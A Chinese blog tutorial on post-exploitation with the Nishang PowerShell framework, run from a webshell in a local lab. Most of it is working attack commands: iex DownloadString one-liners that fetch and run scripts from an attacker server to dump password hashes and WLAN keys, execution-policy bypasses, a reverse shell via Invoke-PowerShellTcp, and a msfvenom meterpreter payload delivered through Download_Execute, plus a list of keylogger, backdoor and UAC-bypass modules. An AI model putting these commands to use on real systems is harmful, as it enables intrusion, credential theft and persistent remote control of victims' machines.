美文网首页TIDE_网络安全
深入浅出【Nishang】

深入浅出【Nishang】

作者: RabbitMask | 来源:发表于2019-10-11 18:37 被阅读0次

    虽说是实战,我们依然选择了本地测试环境,来实现一个从webshell的web用户权限借助Nishang完成后渗透初步。这里就不细说Nishang了,给你个眼神。

    项目地址:https://github.com/samratashok/nishang

    实验环境:
    web漏洞靶机 win10 192.168.3.249
    个人服务器 ubuntu18 192.168.3.30
    同网段陪葬机 win7 192.168.3.25
    攻击平台 parrot 192.168.3.32

    按照我们的前期准备,人为增加测试难度,禁用靶机powershell脚本运行。既Set-ExecutionPolicy Unrestricted

    接下来,故事开始了,抽根烟且听我慢慢道来。。。

    我们的故事开始于一个webshell...

    上传成功,当前为普通用户权限:

    powershell get-host查看PS版本,因为靶机为win10,所以满足Nishang的许可,Nishang使用与PSV3.0及以上,所以win7/win server 2008R2不满足,以上版本可以,确切的说部分脚本功能会受到影响。

    网上许许多多的教程提供了Nishang的本地操作,且需要开启执行策略,然而在实际测试中,你既然已经拿到system权限登录目标服务器了,Nishang的出现其实已经重复了,毕竟,那些Nishang也可以帮你做到。

    所以,我们先来搭建一个Nishang远程服务器,借助apache、python均可,这里偷个懒开启python Web功能,操作发生在个人服务器上,实际测试中应为公网。

    python3 -m http.server 1988

    接下来开始我们真正意义上的Nishang实战。

    信息收集

    我们接下来首先以Check-VM //虚拟机检测举例,(么办法,这个回显少)。

     powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Gather/Check-VM.ps1');Check-VM
    

    显示目标非虚拟机。

    悄咪咪说一句,这里其实我也尝试了冰蝎,没有回显,翻车mark。
    Get-PassHashes读取用户hash:

    powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Gather/Get-PassHashes.ps1');Get-PassHashes
    

    这里因为故意没做提权,所以为解析hash为空,不必在意。

    Get-WLAN-Keys读取wlan密码

    powershell iex (New-Object Net.WebClient).DownloadString('[http://192.168.3.30:1988/](http://192.168.3.30:1988/)Gather/Get-WLAN-Keys.ps1');Get-WLAN-Keys
    

    Invoke-PortScan端口扫描

    powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Scan/Invoke-PortScan.ps1');Invoke-PortScan  -StartAddress 192.168.3.239 -EndAddress 192.168.3.249 -ScanPort -port 21,22,443,445,3306,3389,1433
    

    整个信息收集模块目录如下,大家根据需求自行玩耍:

    本地调用

    接下来我们拓展下本地调用,但你要晓得Nishang并不免杀,所以根据需要安排这一步。

    将脚本上传到目标服务器:

    关于本地调用两种方式,我们还以Check-VM为例,结合上面的远程调用三种方式大家方便对比。
    1、调用具体脚本:

    powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\Gather\Check-VM.ps1';Check-VM}"
    

    2、加载主入口模块:

    powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\nishang.psm1';Check-VM}"
    

    效果同上,但共同点大家也看到了,增加了bypass策略绕过,原因在基础章节也提到了,因为远程下载和策略bypass均可绕过执行策略。

    反弹shell

    发现webshell在命令报错时会没有回显,搞得我们一头雾水,还是需要给稳定的shell会话的。
    个人习惯,反弹shell:

    powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\shells\Invoke-PowerShellTcp.ps1';Invoke-PowerShellTcp -Reverse -IPAddress 192.168.3.30 -Port 6666}"
    

    成功获得会话。

    结合MSF

    提权这一块Nishang居然预留了跟msf的配合模块,本以为是木马回弹,没想到只是木马修饰,我们来看一下。

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.3.32 lport=4444 -f exe -o rabbit.exe
    

    刚拿到就被杀了,额。
    对了,这里漏说一个地方,如果Nishang纯本地使用命令简单的多,刚好对木马进行修饰需要本地使用,顺便说下:
    在执行策略运行的情况下加载主模块入口,我们即可使用全部命令。

    Import-Module .\nishang.psm1
    

    具体哪些呢?如下,其实就是Nishang所有文件名。

    我们接下来要用到的是ExetoText。

    ExetoText C:\Users\RabbitMask\Desktop\nishang-master\nishang-master\rabbit.exe C:\Users\RabbitMask\Desktop\nishang-master\nishang-master\rabbit.txt
    

    emmmm,给你们一分钟想想怎么夸他,如下为txt中的内容,丢到服务器上。

    powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\Execution\Download_Execute.ps1';Download_Execute http://192.168.3.30:1988/rabbit.txt}"
    

    成功回弹shell,并稳定提权,我:???,,win10这么弱鸡了???

    其它

    其实,Nishang还综合了许许多多的后渗透测试所需的模块,时间关系我并没有太多涉猎模块使用,而是选择性的介绍了下Nishang对使用环境的适应性。
    当然还有一个原因,在体验完Nishang后并不让我满意,后渗透测试框架确实有效的为后渗透流程指明了方向,但稳定性堪忧,公知的是Nishang对V3.0以下存在些许不支持,但他对V5.0以上依旧bug层出,所以仁者见仁智者见智,大家自行安排。谨以此文献给初识Nishang的小白,共勉。
    最后再补充点下常用命令,或者称为模块。:

    Invoke-BruteForce专注于暴力破解的脚本,它可以破解SQL Server、ActiveDirecotry、FTP、Web等服务。

    Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusername.txt -PasswordList C:testpassword.txt -Service SQL -Verbose
    
    #信息收集
    Check-VM  //检测目标机是否为虚拟机。
    Copy-VSS  //使用卷影拷贝服务来复制SAM文件。
    Get-Information  //从目标机上获取信息
    Get-PassHashes  //从目标机上获取Hash密码
    Get-WLAN-Keys  //从目标机上获取纯文本的WLAN密钥
    Keylogger  //键盘记录脚本
    Show-TargetScreen  //屏幕监控
    Invoke-Mimikatz  //在内存中加载Mimikatz
    
    #后门
    HTTP-Backdoor  //可以接收来自第三方网站的指令,并在内存中执行PowerShell脚本
    DNS_TXT_Pwnage  //可以在DNS TXT查询中接收指令和PowerShell脚本,并在目标机上执行
    Execute-OnTime  //可以在目标机上指定时间执行PowerShell脚本
    Gupt-Backdoor  //可以从WLAN SSID中接收命令和脚本,而不用去连接它
    
    #骚操作
    Invoke-PsUACme  //全套的UAC bypass
    Remove-Upadte  //移除目标机器上的更新补丁
    

    相关文章

      网友评论

        本文标题:深入浅出【Nishang】

        本文链接:https://www.haomeiwen.com/subject/jfrtmctx.html